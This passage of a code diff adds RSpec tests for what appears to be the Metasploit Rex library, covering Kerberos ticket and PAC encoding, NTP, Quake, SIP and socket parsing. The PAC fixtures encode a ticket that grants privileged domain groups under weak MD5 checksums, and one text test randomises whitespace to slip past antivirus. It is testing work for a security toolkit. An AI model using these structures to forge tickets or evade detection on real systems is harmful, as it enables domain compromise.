"\xbd\x49\xcd\x3e\xdc\x65\xc7\x8b\x44\xf5\xa5\xd4\x66\x0e\xfd\x58" + + "\x9d\x31\x39\x27\xd7\xfc\x81\x07\xa3\x2a\x1c\x3c" + end + + describe "#decode" do + context "when decoding AS Response ticket" do + it "returns the Rex::Proto::Kerberos::Model::Ticket decoded" do + expect(ticket.decode(as_ticket)).to eq(ticket) + end + + it "decodes tkt_vno correctly" do + ticket.decode(as_ticket) + expect(ticket.tkt_vno).to eq(5) + end + + it "decodes realm correctly" do + ticket.decode(as_ticket) + expect(ticket.realm).to eq('DEMO.LOCAL') + end + + it "decodes sname correctly" do + ticket.decode(as_ticket) + expect(ticket.sname.name_string).to eq(['krbtgt', 'DEMO.LOCAL']) + end + + it "retrieves the encrypted part" do + ticket.decode(as_ticket) + expect(ticket.enc_part.cipher.length).to eq(190) + end + end + end + + describe "#encode" do + context "when encoding TGS Request ticket" do + it "re-encodes the AS-RESP ticket correctly" do + ticket.decode(as_ticket) + expect(ticket.encode).to eq(as_ticket) + end + end + end + +end diff --git a/spec/lib/rex/proto/kerberos/pac/client_info_spec.rb b/spec/lib/rex/proto/kerberos/pac/client_info_spec.rb new file mode 100644 index 0000000000..21355cb88d --- /dev/null +++ b/spec/lib/rex/proto/kerberos/pac/client_info_spec.rb @@ -0,0 +1,25 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Pac::ClientInfo do + + subject(:client_info) do + described_class.new + end + + let(:sample) do + "\x80\x60\x06\x1b\xbe\x18\xd0\x01\x08\x00\x6a\x00\x75\x00\x61\x00\x6e\x00" + end + + describe "#encode" do + context "when RSA-MD5 checksum" do + it "encodes the ServerChecksums correctly" do + client_info.client_id = Time.new(2014, 12, 15, 23, 23, 17, '+00:00') + client_info.name = 'juan' + expect(client_info.encode).to eq(sample) + end + end + end +end diff --git a/spec/lib/rex/proto/kerberos/pac/logon_info_spec.rb b/spec/lib/rex/proto/kerberos/pac/logon_info_spec.rb new file mode 100644 index 0000000000..c3ac79b876 --- /dev/null +++ b/spec/lib/rex/proto/kerberos/pac/logon_info_spec.rb @@ -0,0 +1,53 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Pac::LogonInfo do + + subject(:logon_info) do + described_class.new + end + + let(:sample) do + "\x01\x10\x08\x00\xcc\xcc\xcc\xcc\xa0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00" + + "\x00\x1e\x7c\x42\xfc\x18\xd0\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff" + + "\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\xff\xff\xff\xff\xff\xff\xff\x7f\x08\x00\x08\x00\x04\x00\x02\x00\x00\x00\x00\x00" + + "\x08\x00\x02\x00\x00\x00\x00\x00\x0c\x00\x02\x00\x00\x00\x00\x00\x10\x00\x02\x00" + + "\x00\x00\x00\x00\x14\x00\x02\x00\x00\x00\x00\x00\x18\x00\x02\x00\x00\x00\x00\x00" + + "\xe8\x03\x00\x00\x01\x02\x00\x00\x05\x00\x00\x00\x1c\x00\x02\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x20\x00\x02\x00\x14\x00\x14\x00\x24\x00\x02\x00\x28\x00\x02\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00" + + "\x00\x00\x00\x00\x04\x00\x00\x00\x6a\x00\x75\x00\x61\x00\x6e\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00" + + "\x01\x02\x00\x00\x07\x00\x00\x00\x00\x02\x00\x00\x07\x00\x00\x00\x08\x02\x00\x00" + + "\x07\x00\x00\x00\x06\x02\x00\x00\x07\x00\x00\x00\x07\x02\x00\x00\x07\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" + + "\x0a\x00\x00\x00\x44\x00\x45\x00\x4d\x00\x4f\x00\x2e\x00\x4c\x00\x4f\x00\x43\x00" + + "\x41\x00\x4c\x00\x04\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00" + + "\x03\x99\xa8\x68\xe0\x0e\x0e\xd9\x9a\x18\xcf\xcf" + end + + describe "#encode" do + context "when RSA-MD5 checksum" do + it "encodes the ServerChecksums correctly" do + logon_info.logon_time = Time.at(1418712492) + logon_info.effective_name = 'juan' + logon_info.user_id = 1000 + logon_info.primary_group_id = 513 + logon_info.group_ids = [513, 512, 520, 518, 519] + logon_info.logon_domain_name = 'DEMO.LOCAL' + logon_info.logon_domain_id = 'S-1-5-21-1755879683-3641577184-3486455962' + + expect(logon_info.encode).to eq(sample) + end + end + end +end + diff --git a/spec/lib/rex/proto/kerberos/pac/priv_srv_checksum_spec.rb b/spec/lib/rex/proto/kerberos/pac/priv_srv_checksum_spec.rb new file mode 100644 index 0000000000..b2b4420d76 --- /dev/null +++ b/spec/lib/rex/proto/kerberos/pac/priv_srv_checksum_spec.rb @@ -0,0 +1,26 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Pac::PrivSvrChecksum do + + subject(:priv_svr_checksum) do + described_class.new + end + + let(:rsa_md5) { Rex::Proto::Kerberos::Crypto::RSA_MD5 } + + let(:rsa_md5_sample) do + "\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + + describe "#encode" do + context "when RSA-MD5 checksum" do + it "encodes the PrivSvrChecksum correctly" do + priv_svr_checksum.checksum = rsa_md5 + expect(priv_svr_checksum.encode).to eq(rsa_md5_sample) + end + end + end +end diff --git a/spec/lib/rex/proto/kerberos/pac/server_checksum_spec.rb b/spec/lib/rex/proto/kerberos/pac/server_checksum_spec.rb new file mode 100644 index 0000000000..eab933d866 --- /dev/null +++ b/spec/lib/rex/proto/kerberos/pac/server_checksum_spec.rb @@ -0,0 +1,26 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Pac::ServerChecksum do + + subject(:server_checksum) do + described_class.new + end + + let(:rsa_md5) { Rex::Proto::Kerberos::Crypto::RSA_MD5 } + + let(:rsa_md5_sample) do + "\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + + describe "#encode" do + context "when RSA-MD5 checksum" do + it "encodes the ServerChecksums correctly" do + server_checksum.checksum = rsa_md5 + expect(server_checksum.encode).to eq(rsa_md5_sample) + end + end + end +end diff --git a/spec/lib/rex/proto/kerberos/pac/type_spec.rb b/spec/lib/rex/proto/kerberos/pac/type_spec.rb new file mode 100644 index 0000000000..5d13288125 --- /dev/null +++ b/spec/lib/rex/proto/kerberos/pac/type_spec.rb @@ -0,0 +1,93 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Pac::Type do + + subject(:pac_type) do + described_class.new + end + + let(:sample) do + "\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb0\x01\x00\x00" + + "\x48\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x12\x00\x00\x00" + + "\xf8\x01\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00" + + "\x10\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x14\x00\x00\x00" + + "\x28\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" + + "\xa0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x1e\x7c\x42" + + "\xfc\x18\xd0\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff" + + "\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x7f\x08\x00\x08\x00" + + "\x04\x00\x02\x00\x00\x00\x00\x00\x08\x00\x02\x00\x00\x00\x00\x00" + + "\x0c\x00\x02\x00\x00\x00\x00\x00\x10\x00\x02\x00\x00\x00\x00\x00" + + "\x14\x00\x02\x00\x00\x00\x00\x00\x18\x00\x02\x00\x00\x00\x00\x00" + + "\xe8\x03\x00\x00\x01\x02\x00\x00\x05\x00\x00\x00\x1c\x00\x02\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x02\x00\x14\x00\x14\x00" + + "\x24\x00\x02\x00\x28\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00" + + "\x6a\x00\x75\x00\x61\x00\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x05\x00\x00\x00\x01\x02\x00\x00\x07\x00\x00\x00" + + "\x00\x02\x00\x00\x07\x00\x00\x00\x08\x02\x00\x00\x07\x00\x00\x00" + + "\x06\x02\x00\x00\x07\x00\x00\x00\x07\x02\x00\x00\x07\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00" + + "\x00\x00\x00\x00\x0a\x00\x00\x00\x44\x00\x45\x00\x4d\x00\x4f\x00" + + "\x2e\x00\x4c\x00\x4f\x00\x43\x00\x41\x00\x4c\x00\x04\x00\x00\x00" + + "\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x03\x99\xa8\x68" + + "\xe0\x0e\x0e\xd9\x9a\x18\xcf\xcf\x00\x1e\x7c\x42\xfc\x18\xd0\x01" + + "\x08\x00\x6a\x00\x75\x00\x61\x00\x6e\x00\x00\x00\x00\x00\x00\x00" + + "\x07\x00\x00\x00\x48\x0b\x02\xf8\xfe\x54\x02\x96\x7d\x7e\xee\x24" + + "\x12\x73\x67\x4e\x00\x00\x00\x00\x07\x00\x00\x00\x91\x35\x2a\xc2" + + "\x7c\x08\x1c\xa7\x88\xd9\x63\xbb\x23\x71\xb8\x64\x00\x00\x00\x00" + end + + let(:rsa_md5) { 7 } + + describe "#encode" do + context "when RSA-MD5 checksums" do + it "encodes the PAC-TYPE correctly" do + logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new( + logon_time: Time.at(1418712492), + effective_name: 'juan', + user_id: 1000, + primary_group_id: 513, + group_ids: [513, 512, 520, 518, 519], + logon_domain_name: 'DEMO.LOCAL', + logon_domain_id: 'S-1-5-21-1755879683-3641577184-3486455962', + ) + + client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new( + client_id: Time.at(1418712492), + name: 'juan' + ) + + server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new( + checksum: rsa_md5 + ) + + priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new( + checksum: rsa_md5 + ) + + pac_type.buffers = [ + logon_info, + client_info, + server_checksum, + priv_srv_checksum + ] + + pac_type.checksum = rsa_md5 + + expect(pac_type.encode).to eq(sample) + end + end + end +end + diff --git a/spec/lib/rex/proto/natpmp/packet_spec.rb b/spec/lib/rex/proto/natpmp/packet_spec.rb new file mode 100644 index 0000000000..b702cd2002 --- /dev/null +++ b/spec/lib/rex/proto/natpmp/packet_spec.rb @@ -0,0 +1,48 @@ +# -*- coding: binary -*- +require 'spec_helper' + +require 'rex/proto/natpmp/packet' +describe Rex::Proto::NATPMP do + subject do + mod = Module.new + mod.extend described_class + mod + end + + describe '#parse_external_address_response' do + it 'should properly parse non-error responses' do + data = "\x00\x80\x00\x00\x00\x33\x50\x53\xc0\xa8\x01\x02" + subject.parse_external_address_response(data) + ver, opcode, result, epoch, addr = subject.parse_external_address_response(data) + expect(ver).to eq(0) + expect(opcode).to eq(128) + expect(result).to eq(0) + expect(epoch).to eq(3362899) + expect(addr).to eq('192.168.1.2') + end + it 'should properly parse error responses' do + data = "\x00\x80\x00\x03\x00\x00\x70\x90\x00\x00\x00\x00" + subject.parse_external_address_response(data) + ver, opcode, result, epoch, addr = subject.parse_external_address_response(data) + expect(ver).to eq(0) + expect(opcode).to eq(128) + expect(result).to eq(3) + expect(epoch).to eq(28816) + expect(addr).to eq('0.0.0.0') + end + end + + describe '#parse_map_port_response' do + it 'should properly parse responses' do + data = "\x00\x82\x00\x00\x00\x33\x6f\xd8\x11\x5c\x15\xb3\x00\x36\xee\x80" + ver, opcode, result, epoch, internal, external, lifetime = subject.parse_map_port_response(data) + expect(ver).to eq(0) + expect(opcode).to eq(130) + expect(result).to eq(0) + expect(epoch).to eq(3370968) + expect(internal).to eq(4444) + expect(external).to eq(5555) + expect(lifetime).to eq(3600000) + end + end +end diff --git a/spec/lib/rex/proto/ntp/modes_spec.rb b/spec/lib/rex/proto/ntp/modes_spec.rb new file mode 100644 index 0000000000..e4eb6673df --- /dev/null +++ b/spec/lib/rex/proto/ntp/modes_spec.rb @@ -0,0 +1,83 @@ +# -*- coding: binary -*- +# +require 'rex/proto/ntp/modes' + +describe "Rex::Proto::NTP mode message handling" do + before do + @payload = 'R7' * 7 + end + + describe Rex::Proto::NTP::NTPControl do + before do + @control_raw = "\x1e\x05\x12\x34\x12\x34\x12\x34\x00\x00\x00\x0e" + @payload + @control = Rex::Proto::NTP::NTPControl.new + @control.version = 3 + @control.response = 0 + @control.more = 0 + @control.operation = 5 + @control.sequence = 0x1234 + @control.association_id = 0x1234 + @control.status = 0x1234 + @control.payload_offset = 0 + @control.payload_size = 14 + @control.payload = @payload + end + + it 'Generates control NTP messages correctly' do + @control_raw.should == @control.to_s + end + + it 'Parses control NTP messages correctly' do + parsed_raw = Rex::Proto::NTP::NTPControl.new(@control_raw) + @control.should == parsed_raw + end + end + + describe Rex::Proto::NTP::NTPGeneric do + before do + @generic_raw = "\xcc\x12\x34\x56" + @payload + @generic = Rex::Proto::NTP::NTPGeneric.new + @generic.li = 3 + @generic.version = 1 + @generic.mode = 4 + @generic.stratum = 0x12 + @generic.poll = 0x34 + @generic.precision = 0x56 + @generic.payload = @payload + end + + it 'Generates generic NTP messages correctly' do + @generic_raw.should == @generic.to_s + end + + it 'Parses generic NTP messages correctly' do + parsed_raw = Rex::Proto::NTP::NTPGeneric.new(@generic_raw) + @generic.should == parsed_raw + end + end + + describe Rex::Proto::NTP::NTPPrivate do + before do + @private_raw = "\x1f\x5a\x01\x99\x00\x00\x00\x00" + @payload + @private = Rex::Proto::NTP::NTPPrivate.new + @private.response = 0 + @private.more = 0 + @private.version = 3 + @private.mode = 7 + @private.auth = 0 + @private.sequence = 90 + @private.implementation = 1 + @private.request_code = 153 + @private.payload = @payload + end + + it 'Generates private NTP messages correctly' do + @private_raw.should == @private.to_s + end + + it 'Parses private NTP messages correctly' do + parsed_raw = Rex::Proto::NTP::NTPPrivate.new(@private_raw) + @private.should == parsed_raw + end + end +end diff --git a/spec/lib/rex/proto/pjl/client_spec.rb b/spec/lib/rex/proto/pjl/client_spec.rb index 68908a5977..141d6b5dca 100644 --- a/spec/lib/rex/proto/pjl/client_spec.rb +++ b/spec/lib/rex/proto/pjl/client_spec.rb @@ -1,5 +1,4 @@ require 'spec_helper' -require 'fastlib' require 'msfenv' require 'msf/base' require 'rex/proto/pjl' @@ -23,7 +22,7 @@ describe Rex::Proto::PJL::Client do context "#initialize" do it "should initialize a 'sock' ivar" do - cli.instance_variable_get(:@sock).class.should eq(RSpec::Mocks::Mock) + cli.instance_variable_get(:@sock).class.should eq(RSpec::Mocks::Double) end end @@ -44,7 +43,7 @@ describe Rex::Proto::PJL::Client do expect { cli.info(nil) }.to raise_error(ArgumentError) end - it "should receive a response for an INFO request" do + it "should receive a response for an INFO request" do cli.info(:id).should eq(default_response) end end diff --git a/spec/lib/rex/proto/quake/info_response.bin b/spec/lib/rex/proto/quake/info_response.bin new file mode 100644 index 0000000000..7cb3ee65c0 --- /dev/null +++ b/spec/lib/rex/proto/quake/info_response.bin @@ -0,0 +1,2 @@ +ÿÿÿÿinfoResponse +\voip\1\g_needpass\0\pure\1\gametype\0\sv_maxclients\8\g_humanplayers\0\clients\0\mapname\q3dm2\hostname\noname\protocol\68\gamename\Quake3Arena \ No newline at end of file diff --git a/spec/lib/rex/proto/quake/message_spec.rb b/spec/lib/rex/proto/quake/message_spec.rb new file mode 100644 index 0000000000..33b4d1b7e8 --- /dev/null +++ b/spec/lib/rex/proto/quake/message_spec.rb @@ -0,0 +1,104 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/quake/message' + +describe Rex::Proto::Quake do + subject do + mod = Module.new + mod.extend described_class + mod + end + + describe '#encode_message' do + it 'should properly encode messages' do + message = subject.encode_message('getinfo') + expect(message).to eq("\xFF\xFF\xFF\xFFgetinfo") + end + end + + describe '#decode_message' do + it 'should not decode overly short messages' do + expect(subject.decode_message('foo')).to eq(nil) + end + + it 'should not decode unknown messages' do + expect(subject.decode_message("\xFF\xFF\xFF\x01blahblahblah")).to eq(nil) + end + + it 'should properly decode valid messages' do + expect(subject.decode_message(subject.getstatus)).to eq('getstatus') + end + end + + describe '#decode_infostring' do + it 'should not decode things that are not infostrings' do + expect(subject.decode_infostring('this is not an infostring')).to eq(nil) + end + + it 'should properly decode infostrings' do + expect(subject.decode_infostring('a\1\b\2\c\blah')).to eq( + 'a' => '1', 'b' => '2', 'c' => 'blah' + ) + end + end + + describe '#decode_response' do + it 'should raise when server-side errors are encountered' do + expect do + subject.decode_response(subject.encode_message("print\nsomeerror\n")) + end.to raise_error(::ArgumentError) + end + end + + describe '#decode_info' do + it 'should decode info responses properly' do + expected_info = { + "clients" => "0", + "g_humanplayers" => "0", + "g_needpass" => "0", + "gamename" => "Quake3Arena", + "gametype" => "0", + "hostname" => "noname", + "mapname" => "q3dm2", + "protocol" => "68", + "pure" => "1", + "sv_maxclients" => "8", + "voip" => "1" + } + actual_info = subject.decode_info(IO.read(File.join(File.dirname(__FILE__), 'info_response.bin'))) + expect(actual_info).to eq(expected_info) + end + end + + describe '#decode_status' do + it 'should decode status responses properly' do + expected_status = { + "bot_minplayers" => "0", + "capturelimit" => "8", + "com_gamename" => "Quake3Arena", + "com_protocol" => "71", + "dmflags" => "0", + "fraglimit" => "30", + "g_gametype" => "0", + "g_maxGameClients" => "0", + "g_needpass" => "0", + "gamename" => "baseq3", + "mapname" => "q3dm2", + "sv_allowDownload" => "0", + "sv_dlRate" => "100", + "sv_floodProtect" => "1", + "sv_hostname" => "noname", + "sv_maxPing" => "0", + "sv_maxRate" => "10000", + "sv_maxclients" => "8", + "sv_minPing" => "0", + "sv_minRate" => "0", + "sv_privateClients" => "0", + "timelimit" => "25", + "version" => "ioq3 1.36+svn2202-1/Ubuntu linux-x86_64 Dec 12 2011" + } + actual_status = subject.decode_status(IO.read(File.join(File.dirname(__FILE__), 'status_response.bin'))) + expect(actual_status).to eq(expected_status) + end + end +end diff --git a/spec/lib/rex/proto/quake/status_response.bin b/spec/lib/rex/proto/quake/status_response.bin new file mode 100644 index 0000000000..f943748a4d --- /dev/null +++ b/spec/lib/rex/proto/quake/status_response.bin @@ -0,0 +1,2 @@ +ÿÿÿÿstatusResponse +\capturelimit\8\g_maxGameClients\0\sv_floodProtect\1\sv_maxPing\0\sv_minPing\0\sv_dlRate\100\sv_maxRate\10000\sv_minRate\0\sv_maxclients\8\sv_hostname\noname\timelimit\25\fraglimit\30\dmflags\0\version\ioq3 1.36+svn2202-1/Ubuntu linux-x86_64 Dec 12 2011\com_gamename\Quake3Arena\com_protocol\71\g_gametype\0\mapname\q3dm2\sv_privateClients\0\sv_allowDownload\0\bot_minplayers\0\gamename\baseq3\g_needpass\0 diff --git a/spec/lib/rex/proto/sip/response_spec.rb b/spec/lib/rex/proto/sip/response_spec.rb new file mode 100644 index 0000000000..2f9715bd93 --- /dev/null +++ b/spec/lib/rex/proto/sip/response_spec.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +require 'rex/proto/sip/response' + +describe 'Rex::Proto::SIP::Response parsing' do + describe 'Parses vaild responses correctly' do + specify do + resp = 'SIP/1.0 123 Sure, OK' + r = ::Rex::Proto::SIP::Response.parse(resp) + r.status_line.should eq(resp) + r.version.should eq('1.0') + r.code.should eq('123') + r.message.should eq('Sure, OK') + r.headers.should be_nil + end + + specify do + resp = "SIP/2.0 200 OK\r\nFoo: bar\r\nBlah: 0\r\nFoO: blaf\r\n" + r = ::Rex::Proto::SIP::Response.parse(resp) + r.status_line.should eq('SIP/2.0 200 OK') + r.version.should eq('2.0') + r.code.should eq('200') + r.message.should eq('OK') + r.headers.should eq('Foo' => %w(bar), 'Blah' => %w(0), 'FoO' => %w(blaf)) + r.header('Foo').should eq %w(bar blaf) + end + end + + describe 'Parses invalid responses correctly' do + [ + '', + 'aldkjfakdjfasdf', + 'SIP/foo 200 OK', + 'SIP/2.0 foo OK' + ].each do |r| + it 'Should fail to parse an invalid response' do + expect { ::Rex::Proto::SIP::Response.parse(r) }.to raise_error(ArgumentError, /status/) + end + end + end +end diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb index 7d8d77f2a3..74eb15c685 100644 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ b/spec/lib/rex/socket/range_walker_spec.rb @@ -15,22 +15,22 @@ describe Rex::Socket::RangeWalker do context "with a hostname" do let(:args) { "localhost" } it { should be_valid } - it { should have_at_least(1).address } + it { expect(subject.length).to be >= 1 } end context "with a hostname and CIDR" do let(:args) { "localhost/24" } it { should be_valid } - it { should have(256).addresses } + it { expect(subject.length).to eq(256) } end context "with an invalid hostname" do - let(:args) { "asdf.foo." } + let(:args) { "@!*^&.invalid-hostname-really." } it { should_not be_valid } end context "with an invalid hostname and CIDR" do - let(:args) { "asdf.foo./24" } + let(:args) { "@!*^&.invalid-hostname-really./24" } it { should_not be_valid } end @@ -55,7 +55,7 @@ describe Rex::Socket::RangeWalker do context "with mulitple ranges" do let(:args) { "1.1.1.1-2 2.1-2.2.2 3.1-2.1-2.1 " } it { should be_valid } - it { should have(8).addresses } + it { expect(subject.length).to eq(8) } it { should include("1.1.1.1") } end diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index 41c1abde79..1aa6690da0 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -1,5 +1,6 @@ # -*- coding:binary -*- require 'rex/socket/range_walker' +require 'spec_helper' describe Rex::Socket do @@ -38,8 +39,8 @@ describe Rex::Socket do context 'with ipv6' do let(:try) { "fe80::1" } - it { should be_a(String) } - it { should have(16).bytes } + it { is_expected.to be_an(String) } + it { expect(subject.bytes.count).to eq(16) } it "should be in the right order" do nbo.should == "\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" end @@ -47,8 +48,8 @@ describe Rex::Socket do context 'with ipv4' do let(:try) { "127.0.0.1" } - it { should be_a(String) } - it { should have(4).bytes } + it { is_expected.to be_an(String) } + it { expect(subject.bytes.count).to eq(4) } it "should be in the right order" do nbo.should == "\x7f\x00\x00\x01" end @@ -130,8 +131,8 @@ describe Rex::Socket do let(:response_afamily) { Socket::AF_INET } let(:response_addresses) { ["\x01\x01\x01\x01", "\x02\x02\x02\x02"] } - it { should be_a(Array) } - it { should have(2).addresses } + it { is_expected.to be_an(Array) } + it { expect(subject.size).to eq(2) } it "should return the ASCII addresses" do subject.should include("1.1.1.1") subject.should include("2.2.2.2") @@ -142,8 +143,8 @@ describe Rex::Socket do let(:response_afamily) { Socket::AF_INET6 } let(:response_addresses) { ["\xfe\x80"+("\x00"*13)+"\x01", "\xfe\x80"+("\x00"*13)+"\x02"] } - it { should be_a(Array) } - it { should have(2).addresses } + it { is_expected.to be_an(Array) } + it { expect(subject.size).to eq(2) } it "should return the ASCII addresses" do subject.should include("fe80::1") subject.should include("fe80::2") @@ -154,8 +155,8 @@ describe Rex::Socket do let(:response_afamily) { Socket::AF_INET } let(:response_addresses) { ["1.1.1.1", "2.2.2.2"] } - it { should be_a(Array) } - it { should have(2).addresses } + it { is_expected.to be_an(Array) } + it { expect(subject.size).to eq(2) } it "should return the ASCII addresses" do subject.should include("1.1.1.1") subject.should include("2.2.2.2") @@ -163,4 +164,35 @@ describe Rex::Socket do end end + + describe '.portspec_to_portlist' do + + subject(:portlist) { described_class.portspec_to_portlist portspec_string} + let(:portspec_string) { '-1,0-10,!2-5,!7,65530-,65536' } + + it 'does not include negative numbers' do + expect(portlist).to_not include '-1' + end + + it 'does not include 0' do + expect(portlist).to_not include '0' + end + + it 'does not include negated numbers' do + ['2', '3', '4', '5', '7'].each do |port| + expect(portlist).to_not include port + end + end + + it 'does not include any numbers above 65535' do + expect(portlist).to_not include '65536' + end + + it 'expands open ended ranges' do + (65530..65535).each do |port| + expect(portlist).to include port + end + end + end + end diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index 372cf21e03..362674a8bf 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -77,14 +77,14 @@ describe Rex::SSLScan::Scanner do end it "should return an X509 cert if it can connect" do - subject.get_cert(:SSLv3, "AES256-SHA").class.should == OpenSSL::X509::Certificate + subject.get_cert(:SSLv3, "AES256-SHA").should be_a OpenSSL::X509::Certificate end end context "when scanning https://google.com" do it "should return a Result object" do result = subject.scan - result.class.should == Rex::SSLScan::Result + result.should be_a Rex::SSLScan::Result end context "if SSLv2 is not available locally" do diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb index 9c1eb8dfb7..839270eba3 100644 --- a/spec/lib/rex/text_spec.rb +++ b/spec/lib/rex/text_spec.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'rex/text' describe Rex::Text do @@ -71,6 +72,62 @@ describe Rex::Text do end end + context ".rand_surname" do + it "should return a random surname" do + described_class::Surnames.should include(described_class.rand_surname) + end + end + + context ".rand_name" do + it "should return a random name" do + names = described_class::Names_Female + described_class::Names_Male + names.should include(described_class.rand_name) + end + end + + context ".rand_name_female" do + it "should return a random female name" do + described_class::Names_Female.should include(described_class.rand_name_female) + end + end + + context ".rand_name_male" do + it "should return a random male name" do + described_class::Names_Male.should include(described_class.rand_name_male) + end + end + + context ".rand_mail_address" do + it "should return a random mail address" do + names = described_class::Names_Female + described_class::Names_Male + surnames = described_class::Surnames + tlds = described_class::TLDs + + # XXX: This is kinda dirty + mail_address = described_class.rand_mail_address.split("@").map { |x| x.split(".") } + name, surname = mail_address.first.first, mail_address.first.last + domain, tld = "example", mail_address.last.last # Poor man's stubbing to preserve TLD + + names.should include(name) + surnames.should include(surname) + domain.should eq("example") + tlds.should include(tld) + end + end + + context ".randomize_space" do + let (:sample_text) { "The quick brown sploit jumped over the lazy A/V" } + let (:spaced_text) { described_class.randomize_space(sample_text) } + it "should return a string with at least one new space characater" do + spaced_text.should match /[\x09\x0d\x0a]/ + end + + it "should not otherwise be mangled" do + normalized_text = spaced_text.gsub(/[\x20\x09\x0d\x0a]+/m, " ") + normalized_text.should eq(sample_text) + end + end + end end diff --git a/spec/lib/rex/time_spec.rb b/spec/lib/rex/time_spec.rb new file mode 100644 index 0000000000..db8b0a9288 --- /dev/null +++ b/spec/lib/rex/time_spec.rb @@ -0,0 +1,69 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/time' + +describe Rex::ExtTime do + + let(:conversions) do + { + 0 => '0 secs', + 1 => '1 sec', + 60 => '1 min', + 61 => '1 min 1 sec', + 121 => '2 mins 1 sec', + 3600 => '1 hour', + 3660 => '1 hour 1 min', + 3661 => '1 hour 1 min 1 sec', + 7326 => '2 hours 2 mins 6 secs', + 86400 => '1 day', + 86401 => '1 day 1 sec', + 86460 => '1 day 1 min', + 86461 => '1 day 1 min 1 sec', + 90000 => '1 day 1 hour', + 90060 => '1 day 1 hour 1 min', + 90125 => '1 day 1 hour 2 mins 5 secs', + 31536000 => 